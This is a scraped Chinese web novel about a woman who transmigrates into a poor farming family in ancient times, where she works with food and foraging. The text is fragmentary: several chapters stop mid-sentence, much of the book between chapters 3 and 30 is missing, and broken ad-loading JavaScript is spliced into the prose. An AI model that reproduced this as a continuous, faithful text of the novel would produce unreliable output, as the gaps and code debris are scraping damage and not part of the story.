《我在古代种田做美食》 1. 分家 《我在古代种田做美食》全本免费阅读 山坳坳里，落着起伏连绵的木屋。这是三水村，背靠大山，河流经过，底下住着百十户人家。 “分家，分家，今天必须分家！” 尖锐刻薄的喊声忽然炸开村里的宁静，惊起几只云雀。 好吵，好吵······ “好吵······” 尖锐的声音鼓噪着姜南的耳膜，她无意识地呢喃出声。 “今日我说分家，就分家！谁还敢拦着不成！” 破锣似得嗓门将姜南的意识催醒，她皱着眉预备起身，却又被头部的疼痛敲击倒下。 好疼，好疼！ 好在动静引起了院中人的注意。 “阿娘，嫂子醒了！” 一声疾呼像是拨开迷雾，姜南猛地睁开眼。 她喘着粗气，神色迷茫又慌张。 姜南触及身侧的衣料，不是短袖，低头一看，竟然是破旧的粗麻衣。 忽得，那阵难以预料的头疼又卷土重来。 她愣了下，失神地看着眼前的人和事物。 耳边声音未绝，闹声、吵声像是麻绳勒住她的脑子。 “嫂子，你怎么了？”旁边同样穿着瘦弱小的年轻担心地问。 姜南没有回答他，而是捂住脑袋，震惊得瞪大眼睛。 她这是……穿越了？ 她记得她上一秒采风踏空摔下山崖，那股窒息感仿佛还在鼻尖。这会，却是温热的触感传来。 渐渐的，脑海中尽数席卷而来的记忆，姜南被刺激得蜷缩起手指，意识倏然清醒。 她真的穿越了！ 原主半月刚刚及笄，就被偏心爹娘嫁到沈家，成了沈家二房的媳妇。沈家也是个偏心的，二房公公去世，空留一个羸弱娘和瘦弱的弟。 她名义上的相公，沈确，也只新婚日回来一次，就被赶出去上工。 沈确一走，那些人就更变本加厉。沈家长房本就嫌弃二房天天坐在家里吃饭，这次把媳妇砸伤后，正好想借这个契机分家！ “他们二房一家两个病秧子，就沈确赚的银子，哪够这俩人吃药的！” 赵氏的声音愈发得激动，不说还好，一说她就一肚子气。 老二家那个大儿子，送去做工好些年，就没见往回拿过银子，就连娶亲也都是她大房帮着操办的。 胡说！沈确一天到头都在外头做工，每月都托人寄银钱回来。不仅如此，为了让她们好过，还经常买些布料回来给长房。 姜南在心口反驳，忍着头疼从地上站起来。 沈确的娘从未知晓这些事，还是原主不小心窥见一次。 姜南身量小，额间又破了，未干的血迹顺着面颊流下来，配上那双坚决的眼睛，倒是透出了几分和平常不同的架势。 “赵氏也真是，我听说沈确十五不到就出去上工，哪回没寄钱回家。” “还真当她有理。” 几句夹在人群里的话飘出来，让在场的人都脸色不好。 姜南站的摇摇晃晃，一步步走向沈家长房。 院子里的人看着姜南的动作，心里都为她捏把汗，不会就这么去了吧。 本来原主跟着周氏，“她”婆婆，两人一起在家中做午食，因着秋收时节，原主想着家中人辛苦，多舀了小半碗精米。 结果赵氏忽得冲上来，狠狠推了人一把，竟是意外撞上院子里的水缸。 原主身子本就羸弱，这一撞，算是把人彻底撞没了。 “姜南好歹是你侄媳妇，你有事不能好生与人说，把人推的，额头都破了。” 周氏一脸的泪，她忍不住地咳嗽，瘦弱的身躯摇摇欲坠。 “沈确，哼，他出去做工的工钱，我就没见过半分银两。” 赵氏像是抓到把柄一般，遂而，语气都变得高昂：“分家，必须分，现在就去请族老。” 赵氏心中还惦记着昨日她窥见自家婆婆藏银子，不仅如此，她还看到一匹水红色的布。 她心中有气，二房的小子说是出去做工，她可没见过银子回来。 他二房不都是他们养着嘛！ 今天这个家必须分。 “大嫂······” 周氏喉头实在难受，忍着咳嗽开口，却被人打断。 “这沈家老两口还真是稳得住啊。” 沈确尚在外头做工，这娘仨就这么站在被人欺负，特别是二郎媳妇，额头还沾着血，甚是吓人。 “周氏，你带着南丫头去上点药吧。” 院子里终是有人看不下去，出口可怜道。 姜南终于从记忆中抽身，她就看见周秀雅关切得上前来扶自己。 被握住手腕的一刻，她不由得僵了一刻，转瞬恢复自然。 “沈全，可是你们要分家。” 嘶哑苍老的声音响起，姜南侧目看去，她清晰地感受到周氏身体轻轻颤抖。 围在院子里人感觉让出一条路。 “真把族老请来了啊？这沈家真是铁了心要分开啊？” “这好好的，怎么就突然闹起来了。” 姜南的动作也随之停下来，她看过去，来人站在院子里，神色严肃，眉眼看着倒是仁慈，只是嘴唇紧抿着，不怒自威。 族老一来，沈全两口子也不好在躲在背后，站起身，面露难色。 他其实也没清楚这是怎么闹起来的，只是他想上前阻止时，被自家老婆子制止。 他想到他们现在攒的银子，若是把老二一家分出去，确实是能省下不少银子，吃饭少了几口人，粮食也省下不少。 老二一家单独立户，一年的赋税也会减少些许。 他就默认了。 族老看着沈全讨巧的表情，心中不屑，这一家子偏心的倒是坦然。 “沈全，你可想好，真要分家？”族老没说多的。 沈家若是想分，分便是。新朝初始，百废待兴，规矩倒是比以前要好多了。 他听说邻村也有分家的。 “是，二郎都成亲了，一大家子挤在小屋子里，也不好过。” 好话都让你沈全说了。 “既然是分家，你家的田地，房屋都是要分的。” 族老一脸平静地说着，丝毫没看见沈全变色的脸。 “家中存银，也是要分的。” 族老一项一项列举。 “银子也要分！” 赵氏瞬间叫出来。 二房除了老二还在时交中馈，之后就在没交过，现在却要分银子给他们！ 沈全的脸色也变了，说出口的话带着些许的无奈：“家中哪里存得下银子，二儿媳和孙媳妇都要喝药，大孙子要上学，这······” 说到后面，沈全好似说到什么难事，神色变得有些难受。 族老神色莫测地看一眼还在卖惨的沈全。 他不管这些别人家的家事，既然是分家，他就把明面上的东西公正地分给沈家二房。 沈家的地并不多，分到二房手中不过两亩劣田和一亩良田，还有沈家的祖屋。 “爹，祖屋哪里还能住人。” 周秀雅猛然抬眼，不可置信地听到这个结果。 沈家的祖屋在村尾，靠近山下，她嫁过来时住过一年，现在都已经过了这么久，早就住不得人。 姜南早也缓过神，她自然听出周秀雅话中的担忧，她也知道这沈家一家子不安好心。 记忆中“她”嫁来这半月，二房在家中没有半点地位，连只有五岁的沈小郎都要去地里干活，吃最少，干最多。 婆婆身体每况愈下，“她”也是个病秧子，这一家子只怕是早就想把他二房分出来。 她已然身处局中，自然也要为自己争取。 “阿娘······”姜南叫了一声，声音嘶哑的厉害，身形轻晃。 周氏赶忙上前把人扶住，眼中含着泪，颤抖着手想给她擦掉淌下的血。 “小南。” 姜南闻声一晃，被人扶住才稳住身形，她额头的血还未凝固，顺着她的动作，血珠子向下淌。 看着就吓人。 “阿娘，爷爷定然不是这般无情的人，是我二房拖累家里，分出去也是应当的···咳咳咳···” 姜南瘦弱的身躯依靠在周氏的身上，她脸色白得吓人，好似一幅要断气 2. 凉粉 《我在古代种田做美食》全本免费阅读 姜南和周氏很快就收拾好自己一家的东西。 离开时，姜南看见赵氏不服气地看着她拿着一袋子粮食走，她并未与人多语。 两人走出沈家院子，有好事者，嘴里不乏看热闹的心思，追问，分家之后，她们这娘仨该如何过。 姜南只微笑着示弱，让人看着好不可怜。 “嫂子，阿娘。” 一道极小的音量从乡路小道的拐角处传来。 姜南两人也寻声看去，沈安半个身子探出藏身的地方，一张瘦弱的小脸，笑意盈盈的。 “阿弟，快过来。” 姜南把东西放地上，伸手招呼人。姜南在沈安出门时，悄声让人出来躲着。 三人到了祖屋。 祖屋比姜南预想的好，虽破，但四面挡风。 娘仨都是勤劳之人，进屋也没停手，先收拾屋子，再找一找能用的东西。 收拾好堂屋，又把睡觉的屋子打扫出来，姜南这才有空来到院子里做饭的地方。 一间布满尘灰的房屋，在堂屋的斜对侧。 姜南推开门，被灰尘呛了一嗓子。 占据了屋子三分之一的是一口大铁锅，灶是完整的。 她心念一动，快步上前，拿棍子试了试，瞧着不是坏的。 她放下心来，要说她会什么，必定是做得一手好吃的。 姜南心中有了盘算，脸上表情也明朗不少，收拾好厨房，她又把粮食倒进缸里。 姜南又一趟一趟，把水缸填了底。 村中的炊烟渐停，山脚小屋的烟才开始袅袅上升。 姜南手艺虽好，可巧妇难为无米之炊。 打水时，姜南在河边菜了些野菜，做了简单的野菜粥。 一家人围坐桌前一人一碗香喷喷的野菜粥，不似之前分到的，一碗粥里，水多饭少。 姜南喝一口粥，胃里暖呼呼的，乐得她眼睛微眯，满足极了。 周氏瞧见姜南鲜活的模样，堵在心头的话又压下去，她嘴角压不住笑，瞥见一旁的沈安，脸上更是兴奋。 用完饭，姜南也没休息，找了趁手的工具，上山。 沈安背着个小背篓，跟在姜南身后，叽叽喳喳□□不停。 “嫂子，我们是去摘野菜，捡干柴的吗？” 姜南侧目看去，沈安脸上掩不住高兴，她想到以往二房都是被大伯娘赶着去地里干活，上山也是被催着去捡干柴。 “嗯，多摘些野菜，嫂子想拿去换些银钱。” “我很会摘的。”小家伙激动地表示自己的能力。 姜南揉了揉沈安的头，她没有隐瞒自己之后的打算，山上野菜不少，拿去换银子的也多，只是野菜并不是什么稀罕什儿，但她想卖的可不只是野菜。 两人上到山中，零星几个半大的孩子在采野菜。 姜南看着大山，遍地绿色，树木高大，沁入呼吸的微微湿意，很好闻。 山里好几条分岔路，姜南挑了最荒的一条。 “阿弟，这边来。” 沈安一心扑到野菜上，姜南一喊又乖乖跟着去。 姜南带着沈安，她折了枝条在手中，左右打着半高的野草，她先踏出一条路来。 走过荒段，就能到达一片开阔地。 “嫂子，这里好多苋菜。” 沈安看着未被人采摘过的苋菜，止不住兴奋。 姜南侧目看去，这哪止苋菜，还有附地菜、山韭、罗勒，好多。 姜南正愁炒菜没有调料，采些罗勒，到时候晒干，做成香料。 “阿弟，过来。” 姜南把人喊过来，给沈安讲了怎么认罗勒，让他也采一些。 姜南又往前寻。 “这是什么？” 姜南弯腰捡起一颗紫色小果。 “桑葚！” 不怪姜南激动，她抬头一看，野生的桑树。 现在正是桑树结果的时候，看见满树的紫红色桑葚。 姜南心中浮现好几种桑葚的吃法。 桑树全身都是宝，就连这桑叶也有用。 还好她今日带了背篓。 姜南动作麻利地摘了桑叶垫在背篓里，把矮处的桑葚摘掉，又开始绕着几个树摘叶子。 她摘满背篓，外面响起沈安的喊声。 “就来，我立马出来。” “阿弟竟然采了这么多，晚上可有菜吃了。” 姜南看着站在面前，双眼亮晶晶盯着自己的小孩子，没忍住伸手呼噜一下他头顶。 “嫂子摘了什么？” 沈安对姜南有一股天然的亲近感，因着在沈家的时，姜南会帮着小沈安干活。 姜南把背篓放下来，让沈安看，手中还拿着几颗桑葚，递给沈安。 “尝尝？” 她不敢给多了，桑葚性寒，小孩子吃多了也不好。 “甜！”沈安吃进嘴里，汁水洇在嘴唇，双眸睁大，笑意溢出。 “不可多吃，会肚子疼。” 姜南分不清时辰，在山中不太好看太阳，等两人下山回家，姜南从周氏口中得知，两人上山已经一个多时辰了。 时辰尚早，姜南处理了桑葚，趁着太阳，晾在簸箕上。 周氏也帮着一起清洗，途中，有一婶子来送东西。 不仅有鸡蛋，还有些野菜，做饭的调料也送了些。 姜南看着厨房里多出来的物件，满足了。 周氏没问姜南采的紫果，只帮着人处理，叶子也清洗干净，一起晾着。 “娘，家中可有白布。” 姜南脑海中想到了桑叶凉粉，简单易做，成本低。 周氏闻言，起身去睡觉的屋子，不多时，出来手中多了一块米黄的旧布料。 “小南，这可行？” 姜南看一眼，“可以，谢谢阿娘。” “小南这是做什么？” 姜南从厨房找出一棍不规则的圆木棍子，把旧白布垫在木盆中，又把洗干净的桑叶放进去。 周氏不解地看着姜南的动作，圆木棍子随着姜南用力，慢慢变得糜烂，绿色的汁水侵染着白布。 姜南动作不停，直到把所有的桑叶都捣碎，闻到绿叶混汁的气味，她才停下动作。 放在棍子，姜南用力拧着白布包裹着的桑叶。 周氏和沈安就在一旁，看着从白布下流出的汩汩绿汁，满眼困惑。 “阿娘，帮我兑些草木灰水。”姜南一遍一遍把手中的桑叶过水。 挤出来一大盆，周氏也把草木灰水备好。 等着天然碱水沉淀一会，姜南将草木灰水倒进桑叶汁水中，搅拌。 “阿娘，生火，把这煮一下，明日就能见分晓了。” 周氏心中高兴，姜南嫁过来时，没过一天好日子，分家之后，说话声音大了，胆子也大起来，终归是她儿子亏欠人家。 “好，阿娘给你烧火。” 周氏看儿媳神神秘秘做这些，心里倒是没觉得这能做出什么。 桑果她早年也摘过，但这叶子却不知有何用。 煮桑汁的过程中，姜南思虑再三开口：“阿娘，明日我想去码头看看。” 姜南记忆中，码头离村子更近，再往前走才是县。现在是夏季，码头每天做工的人不少，凉粉更好卖。 “码头？”周氏闻言，神色莫名，眉头一皱，又松开。 她只当是姜南思念沈确，她家二郎先前也在码头做过工。 姜南不知道周氏在想什么，她表情轻松，语气充满期盼：“阿娘，我今日做了新吃食，正适合在码头卖，我想着明日去试试。” 做吃食买卖的事情，定然是瞒不过家中人，姜南想着先给周氏交个底，一家人一起生活，劲往一处使，日子哪有过不好的道理。 “吃食？”周氏一瞬就想到锅里还在煮着的绿水。 难道小南说的新吃食，就是锅里的绿色，别真把小南的脑袋撞坏了。 姜南自然没有错过周氏脸上担忧怜悯的神色，她也没反驳。 周氏还是答应了，按着姜南说的那样，去相熟的妇人家中借了木桶，还用银子换了小半块红糖。 一切都备好，姜南一家也开始做晚食。 天渐晚，日已落，月渐出，沈家二房一家人也躺在床上准备休息。 周氏心中忧思，只盼着自家大儿赶紧归家。 姜南累了一天，很快就昏昏沉沉睡过去。 翌日，姜南被喊醒的时候，身上还泛着懒，迷糊地喊：“外公，我不吃早饭。” 忽的，她惊醒，窗外透着亮色，夏日的天亮的早。 周氏没有听见姜南细小的呢喃。< 3. 葱油饼 《我在古代种田做美食》全本免费阅读 旧损的屋子里，笑声从堂屋传出，散落在堂屋桌上的铜板，是几人开心的来源。 姜南感受着周氏和沈安的高兴，她也不遑多让。 今日赚的虽只有六十多文，但除开跟人换糖花了几文钱，几乎是没有成本的。 不过这点还不够，祖屋需要修缮，做吃食生意也还需要更多的银子，还有一家人的生活也需要改善，这些都是花银子的地方。 姜南一想到这里，压力瞬间又大了，“阿娘，今日天还早，我上山去多摘些桑叶。” “阿娘也去。” 周氏心中高兴，亲眼看见姜南用桑汁做出来的东西赚银子，她心中既忐忑又高兴的，担忧卖不出去，也怕姜南伤心。 姜南抬眼看去，周氏脸上浮着笑，眼神比之前少了些郁色。 “嫂子，阿娘，我也要去！” 从一旁猛地起身的沈安，神色满是期待，踱步蹭到姜南身边，看着好不懂事，“好，都去，我们还能多摘些。” 三人收拾好就出门上山。姜南还是从昨日那条小路往前去，那里有好些野生的桑树，还有很多野菜，今日她准备在往里去去，看能不能找到其他有用的食材。 “阿娘，你和阿弟在这里摘，我再往里看看。” 姜南到了地方就准备往里走，回身嘱咐周氏两人不要摘一颗桑树的叶子。 周氏还没来得及拒绝，姜南动作敏捷地就蹿走。 她摇头，先前姜南的性子内敛，不爱说话，现在却变得更鲜活，周氏心中也没觉不对。 她不问姜南何来的这些想法，她只晓得，这是为了家里，那便就足够。 一想到如此，周氏眼眶渐红。 “阿娘？” 沈安已经摘上了，转身望着周氏愣在原地，傻愣愣地喊了一声。 周氏闻声抬手一抹眼泪，连声回应。 姜南往里走近，也还是在大山外围，不会遇见大型野兽，一路走来，她倒是没发现其他的，摘了野葱，家中还有些面粉，可以做葱油饼。 林间绿色，映出一点红，姜南快步上前，走过矮木遮挡，前方是大片红色的树莓。 她还说今日除了这野葱没收获，沈安又有吃的了。 姜南放下背篓开始采摘树莓，等到摘了小半篓，又才把野葱覆在上头。 等姜南出去，周氏和沈安早就摘好，周氏还在挖野菜。 “阿娘，阿弟。” 姜南喊了一声，看一眼两人的背篓，最上面都是野菜，倒是看不出这里头到底装的是什么。 “我们下山吧，今日我给阿娘，阿弟做个新吃食。” 姜南想着家中之前分家，米面油都分了些，虽不说吃多久，但现在是够的。 等明日赚了银钱，把厨房缺少的佐料购置购置。 “好诶！” 要说高兴，还得是沈安。 他想着昨日嫂子才做了凉粉出来，不知今日会做什么。 三人下山，在山口遇到一婶子。 “二郎他娘。” “虎子娘。” “这是你沈贵叔家的婶子。” “婶子。” 姜南乖乖喊一声，她记得昨日就是这位婶子来家里送东西，想来应该是与二房交好的人家。 “你们这是去山上做什么了？” “去采些野菜。” 周氏微侧着身子，把身后的背篓露出来。 孙柳看去满篓子的野菜，她看着沈家二房三人，都是面黄肌瘦的，现在也只能野菜充饥，心下不忍。 “二郎他娘，若不然今日来我家用饭，我家虎子今日放工回家，提回来好大两条鱼呢。” “虎子回来了，那怎么好来叨扰呢，我们一家就不来打扰孙姐姐一家聚了。” 周氏说完就带着两个孩子回家。 孙柳张嘴想喊，却也只看着几人的背影离开。 “要你狗拿耗子，多管闲事。” 一道不和谐的声音响起，孙柳看去，是下山的赵春娘，还背着一大捆干柴。 孙柳不欲与人多费口舌，转身就想走，但赵春娘不是这么想的。 二房一分出去，这家里的活就落到她身上。 她背着柴下山，正好看见二房一家，还以为分家之后，他们过得多好呢，现在也只能靠着野菜过活，她心头爽快不少。 “你眼巴巴得贴上去，人家都不愿搭理你，也不知这周氏有什么好的，惹得你们这般讨人好，莫不是你家男人跟人有一腿，你这做大房的来关心。” 赵春娘话实在难听，孙柳听着她的污言秽语，心中火气起来，她可不是什么软柿子。 孙柳转身就薅住赵春娘的头发，一巴掌扇在人脸上，嘴里骂道：“满嘴喷粪，看我不打死你。” “孙柳，你敢打我！”赵春娘一时不妨，被打个正着，脸上的刺痛让她十分难受，顾不得背上背的柴。 一扭身跟孙柳打起来。 姜南一家人不知道山口发生的事情，回到家，周氏开始清理桑叶。 姜南把树莓果子倒出来，一脸肉疼的倒了些许的面粉清洗果子，一会准备把树莓果子和桑葚熬成酱，能兑水喝还能沾饼子吃。 姜南昨日做凉粉没有躲着周氏，凉粉易做，周氏就让姜南忙自己的，她能做。 姜南也没推辞，她把树莓清洗好，直接放入锅中，又把摘来的桑葚同样步骤，锅中不加水，直接开始熬制。 沈安在灶前烧火。 约莫过了两刻钟，锅里的树莓和桑葚都开始变得软烂，姜南用锅铲搅拌防止粘锅。 一股果子的清甜发散在厨房。 沈安好奇地站起来，看着锅里紫红色的酱汁，不自觉地分泌口水。 “嫂子，这是什么？” 姜南看着锅中的酱已然完成，因着没加冰糖，她尚不知味道如何。 她用锅铲将酱汁舀起来，用筷子沾了一点，递给沈安。 沈安接过来，上面还冒着热气，他呼呼吹两下，小心翼翼伸舌头舔了两下。 “酸酸的，又有点甜。” 姜南闻言也尝了一下，有莓子自带的甜味，又有桑葚的酸，整体还不错。 “等下次，嫂子买了糖一起熬，那就只有甜了。” 小孩子爱吃甜，和糖一起熬，味道应该会好不少，到时候还能拿出去售卖。 周氏的桑汁也备好，等着桑汁煮好放凉，姜南开始做一家人的晚食。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 木板，利用中空处，一点一点把木薯搓成碎末，而后加入等量清水，用细布包着搓揉，挤干。 然后等待沉淀，最后放在院子里晒就好。 发好的面，切成块，擀面杖差不多长度，接着就可以开始擀。 擀成方形，稍微薄一点，约莫能从这面看清案板的纹路，用刀切成馄饨皮的形状就好。 姜南动作快，擀好皮，她就开始包。 方形的皮，放入肉馅，三角对着，再捏住对折的三角，向两侧一弯，沾一点水，轻松包好。 院子里的人，各忙各的，姜南就专注地在厨房包着馄饨。 在筛子里撒一点面粉，防止粘连，一个接一个的猫耳馄饨堆满其中。 肉馅和皮子刚刚好用完，姜南舀一瓢水洗手。 “小安，来帮嫂子生火。” 天边的落日染红小院子。 听见声音的沈安颠颠就跑到厨房，熟练地坐在灶间开始加柴生火。 姜南舀水，先洗一下锅，掺水等煮开。 拿出四个大碗，姜南开始调佐料。 自制的干辣椒粉，粗辣椒面，买来的白芝麻，剁得细碎的蒜蓉，酱汁，醋汁，用小砂锅热油，放一点葱花，最后把热油浇上去，听见滋滋冒响的声音，好不悦耳。 水开之后，每个碗加一点开水，冲开红彤彤的佐料，葱香蒜香也随之而来。 姜南手抓馄饨下锅，皮薄的馄饨大约两息的时间，就能捞出来。 煮熟的馄饨，透着熟肉的红，皮被煮熟后，变得更加透明。 调好料的碗中，放入馄饨，一股子香味开始冒出来。 坐在灶间的沈安闻着这股刺鼻的辣子味道，忍不住咽口水。 他嫂子还在捞馄饨。 他眼睛都看直了。 隐隐约约的香味飘到院子里，周氏闻着味道，停下动作，感概道：“小南又做新吃食了。” 话落，沈确也好奇地抬起头看向厨房。 “阿娘，吃饭了。” 姜南舀水洗锅，向外喊了一声。 周氏也赶紧起身洗手，走向厨房。 灶台上四个碗，红油汤底，白白的芝麻浮在上头，撒了一点绿色的葱花，被红油浸染了的白色馄饨，个个都鼓满着，圆鼓鼓的，光是这样看着，都觉得肚子要咕咕叫了。 周氏招呼着院子里的沈确。 三人端着自己的一碗走到堂屋，开吃。 一口馄饨，咸淡适中，一咬就能咬到肉，煮熟的面皮，混着肉，再喝一口辣汤，别提多美了。 姜南吃一口，看着外头处理了一半木薯，心中有了盘算。 木薯山上不少，木薯粉也是淀粉，可以用来做芋圆丸子，夏日能成凉甜品。 红豆沙芋圆，摘些野杨梅来，还能做成酸甜的梅子芋圆，除了这些，做菜的时候也能用来勾芡，木薯粉的作用很多。 姜南光是想，就觉得美，只觉得今日上山挖少了，明日回来定要多挖一些。 要是能弄来牛奶就好了，糯叽叽黏糊糊的红糖芋圆麻薯，香甜软糯还能拉丝，光是这么想着，她就开始馋了。 想到这里，姜南赶紧塞了两个馄饨在嘴里，狠狠地解馋。 31. 三色芋圆 前几日还在想做芋圆，姜南也没想到今日就可以做。 出完摊子回到家，她本准备上山挖木薯，她工具还没拿好，沈确就说他去就好。 姜南先到院子里看晾晒的木薯粉，伸手捻起一点，一搓，细腻的粉末浮在手指表面，可以用了，她也就没跟着上山。 家中有沈确的帮忙后，累人的活用不着姜南，她轻松不少，也能抽出时间上山。 来回几次家中也累计了不少食材，她早就蠢蠢欲动，刚好沈确上山挖木薯，食材也有人弄，她就当放松吧，还能做做美食。 没等姜南说话，周氏先说好。说完后，周氏也背好背篓，扛着锄头准备去地里。 姜南看着外头泡着的杨梅果，她阿娘卖东西回来的比他们早，上山摘了桑叶和果子。 她往泡着的果子的盆里，撒了点盐，又加点面粉清洗几次。 清洗完，姜南端着洗好的果子到厨房，家中红薯、紫薯都还有。 她决定做一个三色芋圆。 她先把从县上买回来的绿豆加水泡着。 一会芋圆做好，就着绿豆做一个甜水绿豆芋圆。 沈安跟在姜南身边，看他嫂子熟练地给番薯削皮，一双眼睛都瞪直，神色间还有些跃跃欲试。 不过姜南不可能给他刀，但沈安的眼神实在是太炙热了。 她手中动作放慢，失笑地望向沈安。 她笑着开口，让人去碗橱里拿个木勺。 “小安，你给嫂子把梅果子捣成泥，一会嫂子有大用处。” 此话一落，沈安立马开心，高高兴兴地去碗橱里拿了木勺子，端根小木凳，坐到厨房门槛外头，鼓着个脸，拿着勺子开始刮果肉。 小孩使了力气，脸颊都鼓起来，一手捏住果子，勺子由上而下一刮，鲜红的果汁，连带着细碎的果肉落入姜南给人准备的大木碗里。 姜南看了两眼，做得还不错。 她把削皮的番薯，切块，生火，直接上锅蒸煮。 蒸煮的过程，抽空做个木莲冻。 这几日出摊，木莲冻卖得很好，姜南就会多做一些。 现在摊子主要就是卖烤肉肠、狼牙土豆、凉皮、紫苏饮还有木莲冻。 别看种类不算多，但每日总有那爱吃的人来买。 随着日子，天气愈发的热，炎炎夏日，来一口弹弹凉凉的木莲冻，那是相当解暑了。 姜南准备慢慢把摊子扩大，先把买骡子的银钱攒够，再准备攒租小门面的银钱。 一想到之后会有一间属于自己的小食铺，姜南手上搓木莲冻的动作都快了几分。 搓好木莲冻，姜南回到厨房，锅里正咕噜冒响。 她退出一块柴火，减成小火，把蒸熟的番薯端出来。 加一点糖，用木勺铲压成泥。 “小安，弄好了吗？” 外头的沈安还在哼哧哼哧地刮果肉，听见自家嫂子的声音，鼓圆的小脸，满是紧张，他慌里慌张地开口：“没有，还没有。” “嫂子，你再等等我。” 小模样着急的不行，姜南看着就笑，她继续逗弄小孩，嘴角带着笑，声音轻笑着地回一句：“那可得快一些啊，安大厨，嫂子锅里等着做呢。” 眼看着把孩子逗急了，姜南才到院子里装了木薯粉到厨房。 净手，少量多次把木薯粉加到紫薯泥中，像揉面一样，开始揉。 直到揉得不粘手，就算是做好。 揉好面团，一分为二，将其中一块分成小三份，锅中加清水，煮开，把小面团放进去，煮至七八分熟捞出，跟剩下的生面团一起揉。 把煮熟的面团揉进去，手下的面团变得光滑，不开裂，姜南就晓得揉好了。 剩下的红薯，也是同样的做法。 三色中两种色都做好，沈安这时也端着捣好的杨梅果肉泥来厨房。 “嫂子，我做好了。” 一脸的神采奕奕，满是求夸。 姜南也是毫不吝啬地狠狠夸奖：“小安真棒！这果泥做的真是不错。” 果然，听到夸奖的话，沈安面上的高兴清晰可见。 杨梅芋圆跟番薯芋圆做法又有一点不同。 姜南就着果肉泥的容器，倒入木薯粉，加入温开水，然后就跟揉面一样。 三色面团准备好。 姜南把面团搓成根根长条，用刀切成小块，撒点木薯粉防粘黏。 这一步不难，就是要耐心。 椭圆形的紫色、黄色和淡粉色芋圆堆满筛子。 瞧着很漂亮。 刚做好，外头传来重物倒地的声音。 姜南拍拍手上的木薯粉，走到从厨房门口一看。沈确扛了一大根腐木回来。 可以砍成柴火烧。 沈确把背篓取下来，里头是姜南需要的木薯根。 还有一块带黄的物件，姜南隔得远，没看清是什么。 她走出来，才瞧清。 野蜂蜜。 她震惊地看向沈确，仔细查看。沈确脸上没有被蜜蜂蛰过伤口，她才放心，难得一次主动跟人交流的时候，语气却不太好：“你怎么去摘蜜啊，要是一个不小心，被蜜蜂蛰了，只怕是要受罪。” 姜南在现代的时候是见过被马蜂蛰过的人，看着就吓人，再有就是蜂毒不好清，更不说在山村里。 她们到底也不是说饭都吃不上，也不必如此冒险。 尽管她刚看见野蜂蜜心头是高兴的，可总归还是自身安全重要。 沈安没有姜南的动作快，落后一步乖乖地给自家大哥端水送帕子。 沈确接过帕子，沾水，把脸上的尘屑擦干净，又把帕子清洗干净，水倒在院子里外头。 他才回姜南的话：“没事，幼时跟着阿爹进山，看着处理过，小心一些，不会有事。” 沈确山里长大的孩子，处理这些野山货，也是有自己的手法的，就摘个蜜，还不至于被蛰。 只是，姜南的担忧也让他心里很熨贴。 他跟人成亲，虽没有那份情，但他却感谢姜南为家中所做的一切，若没有姜南，他无法想象，他归来家中，阿娘和阿弟会是何模样，他自然也想为人做些什么。 她既然喜爱做吃食，这野蜜想来也是喜欢的。 姜南见人这么说，稍微放下心。 沈确也没停，去前头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一户人家借了斧子，准备把腐木砍成柴。 不得不说，姜南得承认沈确的力气确实很大。 她们平日里捡柴，不过手腕粗大小，再大一些，都害怕拖不下山。 沈确扬起斧子，腐木也随之被劈开。 姜南看了一会，她回到厨房。泡开的绿豆下锅，煮至软烂，跟绿豆沙差不多的模样。 熬煮绿豆的过程，姜南先出去把野蜜处理好。 也确实如沈确说的那般，他是会摘的，这蜜里，她没见着一只蜜蜂，她处理起来也快，去除杂质，用布过滤，拿着小罐开装。 刚好还能做个绿豆芋圆蜜。姜南舀出一点蜜，先准备好蜂蜜水。 锅中的绿豆沙煮得差不多，周氏也从地里回来。 姜南把芋圆下入锅中，煮到浮起来，就是好了。 煮好的绿豆，放入碗中，倒入三色芋圆，最后加入蜂蜜水。 甜水绿豆芋圆蜜就正式做好。 四碗绿豆芋圆蜜都放在凉水里冰着。 她出门正好听见周氏叹气。 她没有立刻出口问，招呼着人进厨房，“阿娘回来了，快来尝尝绿豆甜水。” 不开心的时候，就吃点甜的。 听见姜南的喊声，周氏收敛脸上的愁色，扬起笑，招呼大儿子。 姜南先端了一碗给沈安，又端了一碗给周氏。 等了又等，沈确没进屋。 她到门口看了看，沈确还在砍柴呢。 “沈······”确，还没喊出来，一个转音变成：“沈二郎，快进来喝糖水。” 姜南的声音是清丽的音色，喊人的时候，并无其他的情绪，就像是喊沈安一般。 沈确停下手，拖回来的腐木都砍好了，只需要堆到后院子的屋檐下就好。 他出了一身汗，虽然一回家他就擦了脸，但要砍柴，也就没换衣裳。 他这几日跟姜南同出同进，知晓人爱净，他这样子也没往上靠。 他道一声：“出了些汗，我去河道上边洗洗，换件衣裳。” 没等姜南说话，沈确蹿回卧房，拿出自己的换洗衣裳就走出院子。 “小南，怎么了？二郎不吃吗？” 周氏刚吃完一口嚼劲十足的三色芋圆，侧目看到厨房门口的姜南不动。 姜南回头忍不住发笑：“他去河道了。” “那就不管他，我们到堂屋去。” 沈安端着自己的甜水蜜，坐到堂屋，里头的水不再是红糖化的，而是冲兑的蜂蜜水，配着煮得软烂的绿豆沙，加入软糯有嚼劲的三色芋圆，口感交杂，绿豆易碎，但芋圆却要嚼上好几下，喝一口甜水蜜，就着芋圆，也不会显得甜腻，甜味中和的正正好。 也没多会，沈确一身清爽地回到院子，连那身衣裳也顺手清洗了。 一家四口难得惬意地坐在堂屋，手里端着甜水绿豆芋圆，大小都很爱吃。 姜南没舀多少，吃的也快，第一个放下碗，看着外头日渐西沉，神色放松。 倏然，耳边传来周氏的叹息声，“方才我在地里见到你们孙婶偷偷抹泪呢。” 姜南望着西落的太阳，沉默了。 32. 香河肉饼1.0 喝完甜水蜜，周氏又做了简单的晚食。 一家人在饭桌上，周氏才说起适才在地里看见的事情。 “方才听你孙婶说，你双儿嫂嫂前日晕倒了。” “晕倒？怎会晕倒？可请了郎中？人没事吧？” 一连串的询问，周氏赶忙回了一句：“是一件大喜事，就是这时间不太好，双儿诊出喜脉了，不过满月的身子，这几日伤心劳累的，一时间没撑住，才晕倒的。” 姜南闻言，担忧也减少，只不过这几日沈家都沉浸在沈虎受伤的悲伤情绪中。 她听她阿娘说过孙婶的事情。 嫁人前，在家一如其他女子一般，活计不断，家中又苛待，未出嫁时，正好一年寒冬腊月里，在河道洗衣时出了意外，落了水，受了寒，又没能好好养，自然就留了病根。 